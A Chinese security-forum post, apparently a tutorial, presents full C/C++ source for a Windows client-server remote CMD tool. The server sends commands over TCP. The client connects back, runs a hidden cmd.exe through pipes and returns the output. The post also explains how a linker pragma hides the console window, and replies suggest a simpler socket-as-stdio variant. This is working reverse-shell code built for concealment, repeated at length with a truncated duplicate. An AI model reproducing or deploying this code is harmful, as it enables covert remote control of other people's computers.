首页
社区
课程
招聘
[原创]windows C/C++ SOCKET-TCP 远程CMD命令执行
发表于: 2021-7-4 21:26 13590

[原创]windows C/C++ SOCKET-TCP 远程CMD命令执行

2021-7-4 21:26
13590

远程cmd命令执行,字面意思就是在一台机器上面,远程发送cmd命令到另一台机器上执行。

关于远程cmd命令执行,师傅们在网上各显神通,有msf和cobalt strike的,还有wmi等等的,关于powershell,微软在7.1版本及之后也开始支持了更多花式远程操作

windows远程执行cmd命令的各方式2ed-CSDN博客远程cmd

运行远程命令 - PowerShell | Microsoft Docs

在此,结合结合windows C语言网络基础编程知识,手动用TCP实现了一个client-server的远程cmd程序。

思路如下:

服务器端只需要负责发送cmd命令到客户端执行,同时接收客户端的执行输出结果。在这里由于客户端和服务器端都是在windows上进行开发测试,也只同时上线一个客户端,就采用了开启一个子线程专门负责接收返回结果。如果是上线多个客户端,可以采用select模型,或者在linux上也可以采取poll和epoll去处理多个客户端的问题。

服务器端源代码,tcp-socket通信部分,参考《C++黑客编程揭秘与防范》(第三版)2.2.1节,增加单独启用线程接受返回数据的代码即可。源码如下:

程序各个部分的功能,在参考书籍中都有清晰的讲解,这里补充说明一下buffer大小和循环读取,及输入设计。

buffer大小设置为0x4000是因为不同命令的返回结果大小也是不一样的,同时为了后续添加其他扩展功能,设置了这么大,大小可以根据需要做具体的调整。

这里发送和接受使用的是同一个socket通信,这就相当于读写数据用的是同一根管道,只有有数据被写入,那么就可以随时读,所以设计了一个while循环去不断的读,而写数据的话,由于已经有一个输入的接口了,那就直接无限写即可,这种方式的读和写是不冲突的,至少现在测试来看,他没有发送这种读写的错误。

这里同样参考自《C++黑客编程揭秘与防范》(第三版)这本书,除了它的2.2.1节外,还参考了8.1.7节,采用匿名管道技术,创建一个cmd子进程,然后单独启动一根线程读取cmd的输出并发送至服务器端。主线程则负责接受服务器端发送来的cmd命令。

这里,#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )语句是告诉编译器,它在运行时不弹出黑框,隐藏窗口,具体参考:Windows 隐藏控制台 - YZFHKMS-X - 博客园 (cnblogs.com)

此外,也可以在VS2019(其他编译器方法类似)的编译选项里进行相应的设置,以达到同样的效果

如若要运行以上代码进行测试,在客户端输出查看效果,可注释#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )语句进行编译,运行同时打开任务管理器查看进程的变化。

 
 
 
 
 
 
#include <WS2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <iostream>
 
#pragma comment(lib, "ws2_32.lib")
 
char recvClientBuf[0x4000];
 
VOID recvClientMsg(SOCKET* s)
{
    while (true)
    {
        memset(recvClientBuf, 0, 0x4000);
        int recvLength = recv(*s, recvClientBuf, 0x4000, 0);
        if (recvLength > 0)
        {
            printf("%s", recvClientBuf);
        }
        else
        {
            printf("remote cmd exit!\n");
            return;
        }
    }
}
 
VOID testSocketCmd()
{
    WSADATA wsaData;
    int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
 
    SOCKET server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    inet_pton(AF_INET, "192.168.0.1", &ServerAddr.sin_addr);
    ServerAddr.sin_port = htons(7788);
 
    if (SOCKET_ERROR == bind(server, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr)))
    {
        int a = WSAGetLastError();
        closesocket(server);
        WSACleanup();
        printf("bind error %d\n", a);
        exit(0);
    }
    if (SOCKET_ERROR == listen(server, SOMAXCONN))
    {
        int a = WSAGetLastError();
        closesocket(server);
        WSACleanup();
        printf("listen error\n");
        exit(0);
    }
    SOCKET client = accept(server, NULL, NULL);
 
    sockaddr_in sockClient;
    int len = sizeof(sockClient);
    getpeername(client, (struct sockaddr*)&sockClient, &len);
 
    char ip[INET_ADDRSTRLEN] = { 0 };
    inet_ntop(AF_INET, &sockClient.sin_addr, ip, sizeof(ip));
 
    printf("client is %s\n", ip);
 
    HANDLE hRecvThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)recvClientMsg, &client, 0, NULL);
    if (hRecvThread == NULL)
    {
        return;
    }
 
    char sendBuffer[1024];
    while (true)
    {
        if (WAIT_OBJECT_0 == WaitForSingleObject(hRecvThread, 0))
        {
            printf("thread cmd exit\n");
            break;
        }
        memset(sendBuffer, 0, 1024);
        gets_s(sendBuffer, 1024);
        send(client, sendBuffer, strlen(sendBuffer), 0);
        Sleep(0.5 * 1000);
 
    }
 
    closesocket(client);
    closesocket(server);
    WSACleanup();
}
 
 
 
int main()
{
 
    testSocketCmd();
 
    return 0;
}
#include <WS2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <iostream>
 
#pragma comment(lib, "ws2_32.lib")
 
char recvClientBuf[0x4000];
 
VOID recvClientMsg(SOCKET* s)
{
    while (true)
    {
        memset(recvClientBuf, 0, 0x4000);
        int recvLength = recv(*s, recvClientBuf, 0x4000, 0);
        if (recvLength > 0)
        {
            printf("%s", recvClientBuf);
        }
        else
        {
            printf("remote cmd exit!\n");
            return;
        }
    }
}
 
VOID testSocketCmd()
{
    WSADATA wsaData;
    int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
 
    SOCKET server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    inet_pton(AF_INET, "192.168.0.1", &ServerAddr.sin_addr);
    ServerAddr.sin_port = htons(7788);
 
    if (SOCKET_ERROR == bind(server, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr)))
    {
        int a = WSAGetLastError();
        closesocket(server);
        WSACleanup();
        printf("bind error %d\n", a);
        exit(0);
    }
    if (SOCKET_ERROR == listen(server, SOMAXCONN))
    {
        int a = WSAGetLastError();
        closesocket(server);
        WSACleanup();
        printf("listen error\n");
        exit(0);
    }
    SOCKET client = accept(server, NULL, NULL);
 
    sockaddr_in sockClient;
    int len = sizeof(sockClient);
    getpeername(client, (struct sockaddr*)&sockClient, &len);
 
    char ip[INET_ADDRSTRLEN] = { 0 };
    inet_ntop(AF_INET, &sockClient.sin_addr, ip, sizeof(ip));
 
    printf("client is %s\n", ip);
 
    HANDLE hRecvThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)recvClientMsg, &client, 0, NULL);
    if (hRecvThread == NULL)
    {
        return;
    }
 
    char sendBuffer[1024];
    while (true)
    {
        if (WAIT_OBJECT_0 == WaitForSingleObject(hRecvThread, 0))
        {
            printf("thread cmd exit\n");
            break;
        }
        memset(sendBuffer, 0, 1024);
        gets_s(sendBuffer, 1024);
        send(client, sendBuffer, strlen(sendBuffer), 0);
        Sleep(0.5 * 1000);
 
    }
 
    closesocket(client);
    closesocket(server);
    WSACleanup();
}
 
 
 
int main()
{
 
    testSocketCmd();
 
    return 0;
}
 
 
#include <WS2tcpip.h>
#include <Windows.h>
#include <stdio.h>
 
#pragma comment(lib, "ws2_32.lib")
 
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
 
typedef struct send_to_server
{
    HANDLE hParentRead;
    SOCKET s;
    char readBuffer[0x4000];
}SEND_TO_SERVER, * PSEND_TO_SERVER;
 
 
 
VOID readCmdOutPut(PSEND_TO_SERVER pSts)
{
    DWORD dwReadSize = 0;
    do
    {
        memset(pSts->readBuffer, 0, 0x4000);
        dwReadSize = 0;
        BOOL bRet = PeekNamedPipe(pSts->hParentRead, pSts->readBuffer, 0x4000, &dwReadSize, NULL, NULL);
 
        if (dwReadSize > 0)
        {
            bRet = ReadFile(pSts->hParentRead, pSts->readBuffer, 0x4000, &dwReadSize, NULL);
            send(pSts->s, pSts->readBuffer, strlen(pSts->readBuffer), 0);
        }
        else
        {
 
            Sleep(0.5 * 1000);
        }
 
    } while (TRUE);
}
 
VOID cmd_pipe(SOCKET s)
{
    HANDLE hParentRead, hParentWrite, hChildRead, hChildWrite;
 
    STARTUPINFOA si = { 0 };
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi = { 0 };
 
    DWORD dwWriteBytes = 0;
    DWORD dwReadBytes = 0;
 
    DWORD dwBytesRead = 0;
    DWORD dwTotalBytesAvail = 0;
    DWORD dwBytesLeftThisMessage = 0;
 
    SECURITY_ATTRIBUTES sa = { 0 };
    sa.lpSecurityDescriptor = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
 
    BOOL bRet = CreatePipe(&hParentRead, &hChildWrite, &sa, 1024);
 
    bRet = CreatePipe(&hChildRead, &hParentWrite, &sa, 1024);
 
    GetStartupInfoA(&si);
    si.hStdInput = hChildRead;
    si.hStdError = si.hStdOutput = hChildWrite;
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
 
    char cmd[MAX_PATH] = { 0 };
    GetSystemDirectoryA(cmd, sizeof(cmd));
    strcat_s(cmd, "\\cmd.exe");
    LPSTR lpApplicationName = (LPSTR)"cmd.exe\r\n";
    bRet = CreateProcessA(cmd, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
 
    Sleep(1 * 1000);
 
 
    PSEND_TO_SERVER pSts = (PSEND_TO_SERVER)calloc(1, sizeof(SEND_TO_SERVER));
    if (pSts == NULL)
    {
        return;
    }
    pSts->hParentRead = hParentRead;
    pSts->s = s;
 
    HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)readCmdOutPut, pSts, 0, NULL);
 
    char szBuffer[1025];
    do
    {
        memset(szBuffer, 0, 1025);
        int recvLen = recv(s, szBuffer, 1024, 0);
        if (recvLen > 0)
        {
            strcat_s(szBuffer, "\r\n");
            WriteFile(hParentWrite, szBuffer, strlen(szBuffer), &dwWriteBytes, 0);
            Sleep(0.5 * 1000);
        }
        else
        {
            // printf("server exit\n");
            free(pSts);
            break;
        }
 
        if (WAIT_OBJECT_0 == WaitForSingleObject(pi.hProcess, 0))
        {
            send(s, "cmd exit\n", strlen("cmd exit\n"), 0);
            free(pSts);
            break;
        }
 
 
    } while (true);
 
 
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
 
    CloseHandle(hParentRead);
    CloseHandle(hParentWrite);
    CloseHandle(hChildRead);
    CloseHandle(hChildWrite);
 
}
 
 
int main()
{
 
    WSADATA wsaData;
    int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
 
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    inet_pton(AF_INET, "192.168.0.1", &ServerAddr.sin_addr);
    ServerAddr.sin_port = htons(7788);
    connect(s, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));
    Sleep(100);
 
    cmd_pipe(s);
 
    closesocket(s);
    WSACleanup();
 
    return 0;
}
#include <WS2tcpip.h>
#include <Windows.h>
#include <stdio.h>
 
#pragma comment(lib, "ws2_32.lib")
 
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
 
typedef struct send_to_server
{
    HANDLE hParentRead;
    SOCKET s;
    char readBuffer[0x4000];
}SEND_TO_SERVER, * PSEND_TO_SERVER;
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-7-4 23:42 被For@*编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 117
活跃值: (3182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
github.com/terrylao/WinCat 
windows 版的netcat. 
2021-7-5 23:43
0
雪    币: 99
活跃值: (2568)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
调用cmd搞复杂了,只要把si.hStdInput, si.hStdOutput, si.hStdError设置成socket的handle,CreateProcess后就可以远程执行cmd命令了,完全不需要pipe中转。
2021-7-6 08:44
1
雪    币: 828
活跃值: (1267)
能力值: ( LV7,RANK:118 )
在线值:
发帖
回帖
粉丝
4
TeLeMan 调用cmd搞复杂了,只要把si.hStdInput, si.hStdOutput, si.hStdError设置成socket的handle,CreateProcess后就可以远程执行cmd命令了,完 ...
这确实可以,但后面进行功能扩展的时候,可能就有点吃力了,pipe设计主要是为了后续作为一个单独的小模块来使用的
2021-7-6 13:44
0
游客
登录 | 注册 方可回帖
返回
//